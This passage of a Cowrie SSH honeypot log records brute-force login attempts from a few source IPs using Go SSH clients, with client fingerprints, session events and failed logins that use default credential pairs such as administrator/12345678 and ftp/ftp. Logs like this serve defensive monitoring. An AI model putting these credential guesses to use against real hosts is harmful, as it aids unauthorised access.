{"eventid":"cowrie.login.failed","username":"administrator","password":"12345678","message":"login attempt [administrator/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:41.889864Z","src_ip":"91.92.42.133","session":"ae7155890e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:41.924358Z","src_ip":"117.121.214.50","session":"5c114e4abc61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"logstash","password":"123456","message":"login attempt [logstash/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:42.913610Z","src_ip":"117.121.214.50","session":"5c114e4abc61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:43.025968Z","src_ip":"91.92.42.133","session":"ae7155890e88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:44.155342Z","src_ip":"117.121.214.50","session":"5c114e4abc61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":39496,"dst_ip":"159.203.135.109","dst_port":22,"session":"26a927a708ee","protocol":"ssh","message":"New connection: 91.92.40.171:39496 (159.203.135.109:22) [session: 26a927a708ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:45.076772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:45.404826Z","src_ip":"91.92.40.171","session":"26a927a708ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:46.188388Z","src_ip":"91.92.40.171","session":"26a927a708ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51040,"dst_ip":"159.203.135.109","dst_port":22,"session":"120109a18e14","protocol":"ssh","message":"New connection: 91.92.42.133:51040 (159.203.135.109:22) [session: 120109a18e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:47.522458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:47.700579Z","src_ip":"91.92.42.133","session":"120109a18e14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:47.703594Z","src_ip":"91.92.42.133","session":"120109a18e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:48.526415Z","src_ip":"91.92.42.133","session":"120109a18e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49758,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8b3e9dbc72d","protocol":"ssh","message":"New connection: 91.92.40.171:49758 (159.203.135.109:22) [session: c8b3e9dbc72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:49.784618Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:49.788556Z","src_ip":"91.92.42.133","session":"120109a18e14","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:49.916690Z","src_ip":"91.92.40.171","session":"c8b3e9dbc72d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:49.919585Z","src_ip":"91.92.40.171","session":"c8b3e9dbc72d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:50.980830Z","src_ip":"91.92.40.171","session":"c8b3e9dbc72d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:52.121499Z","src_ip":"91.92.40.171","session":"c8b3e9dbc72d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51114,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f7c88680d13","protocol":"ssh","message":"New connection: 91.92.42.133:51114 (159.203.135.109:22) [session: 1f7c88680d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:53.727839Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"dev","message":"login attempt [git/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:53.830079Z","src_ip":"91.92.40.171","session":"26a927a708ee","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:53.839603Z","src_ip":"91.92.42.133","session":"1f7c88680d13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:53.881794Z","src_ip":"91.92.42.133","session":"1f7c88680d13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456789","message":"login attempt [ftpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:54.493014Z","src_ip":"91.92.42.133","session":"1f7c88680d13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:55.607263Z","src_ip":"91.92.42.133","session":"1f7c88680d13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:55.860295Z","src_ip":"91.92.40.171","session":"26a927a708ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":39222,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5b47e506c88","protocol":"ssh","message":"New connection: 91.92.40.171:39222 (159.203.135.109:22) [session: a5b47e506c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:56.900749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:56.906852Z","src_ip":"91.92.40.171","session":"a5b47e506c88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:57.994665Z","src_ip":"91.92.40.171","session":"a5b47e506c88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":35568,"dst_ip":"159.203.135.109","dst_port":22,"session":"b663f34f4d20","protocol":"ssh","message":"New connection: 91.92.42.133:35568 (159.203.135.109:22) [session: b663f34f4d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:59.973205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:31:59.977392Z","src_ip":"91.92.42.133","session":"b663f34f4d20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:00.212993Z","src_ip":"91.92.42.133","session":"b663f34f4d20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"12345","message":"login attempt [developer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:00.746350Z","src_ip":"91.92.42.133","session":"b663f34f4d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:01.911931Z","src_ip":"91.92.42.133","session":"b663f34f4d20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:02.460919Z","src_ip":"91.92.40.171","session":"a5b47e506c88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":39260,"dst_ip":"159.203.135.109","dst_port":22,"session":"da72f5dc0771","protocol":"ssh","message":"New connection: 91.92.40.171:39260 (159.203.135.109:22) [session: da72f5dc0771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:03.068766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:03.163514Z","src_ip":"91.92.40.171","session":"da72f5dc0771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:03.843321Z","src_ip":"91.92.40.171","session":"da72f5dc0771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:04.662493Z","src_ip":"91.92.40.171","session":"a5b47e506c88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52504,"dst_ip":"159.203.135.109","dst_port":22,"session":"1390782665fb","protocol":"ssh","message":"New connection: 91.92.42.133:52504 (159.203.135.109:22) [session: 1390782665fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:06.544951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:32:06.605845Z","src_ip":"91.92.42.133","session":"1390782665fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 